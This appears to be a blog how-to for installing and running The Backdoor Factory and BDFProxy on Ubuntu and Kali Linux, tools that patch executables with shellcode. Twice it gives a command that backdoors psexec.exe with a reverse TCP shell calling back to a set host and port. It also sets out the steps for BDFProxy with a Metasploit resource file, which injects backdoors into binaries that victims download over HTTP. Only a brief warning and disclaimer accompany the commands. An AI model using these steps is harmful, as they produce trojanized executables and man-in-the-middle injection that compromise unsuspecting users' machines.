HOWTO : the-backdoor-factory on Ubuntu 14.04 LTS

The Backdoor Factory (BDF) is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.


Install

sudo apt-get install git python-pip build-essential

Install BDFactory :

cd ~
mkdir arsenal
cd arsenal
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
sudo pip install capstone
sudo ./install.sh

How to run it :

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp

Install BDFProxy :

cd ~/arsenal
git clone https://github.com/secretsquirrel/BDFProxy.git
cd BDFProxy
sudo ./install.sh

How to run it :

nano bdfproxy.cfg

*change the settings when necessary

./bdf_proxy.py

msfconsole -r bdfproxy_msf_resource.rc


Update/Upgrade

sudo apt-get update
sudo apt-get dist-upgrade

cd ~/arsenal/the-backdoor-factory
sudo ./update.sh

cd ~/arsenal/BDFProxy
sudo ./update.sh


Reference

See also : Metaspolit Framework


That's all! See you.

Do Not Trust Your Download Even It Is From The Trusted Source

Joshua Pitts developed a tool suite for injecting backdoor to executable files of Windows, Linux and Mac OSX as well as FreeBSD. The process is fully automatically even you do not know what code cave is.

The tool suite is namely The Backdoor Factory and it also comes with a proxy to inject the backdoor while the victim is downloading the binaries - BDFProxy. The BDFProxy is working for HTTP protocol only.

Joshua Pitts discovers that one of the Tor Network Exit Nodes doing code injection to the binaries which are downloaded by victims via Tor network. His blog is showing how it will be and the interview report is talking about that.





How to install BDFactory on Kali Linux 1.0.9a?

BDFactory is working very well with Metasploit Framework.

apt-get update
apt-get dist-upgrade
apt-get autoclean
apt-get --purge autoremove

apt-get install python-pip

Install BDFactory :

cd ~
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.sh

To update :
./update.sh

Install BDFProxy :

cd ~
git clone https://github.com/secretsquirrel/BDFProxy.git
cd BDFProxy
./install.sh

To update :
./update.sh

Usage of BDFactory :

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp


Usage of BDFProxy :

nano bdfproxy.cfg

*change the settings when necessary

./bdf_proxy.py

msfconsole -r bdfproxy_msf_resource.rc

*if you are working with Pineapple, you need run ./wpBDF.sh to configure your environment

Conclusion

Don't trust your downloaded binary even it is downloaded from the trusted source when it is delievered via HTTP. Meanwhile, please download binaries in Tor network with care.

Please DO NOT use this tool suite for illegal purpose; otherwise, you will be put into the jail.

REFERENCE

Evasion of Anti-Virus with Veil Framework and The Backdoor Factory
Transparently proxify virtual machines
Transparent Proxy (Linux)
Framework for Man-In-The-Middle Attack
HOWTO : Protect You From Being ARP Spoofing

That's all! See you.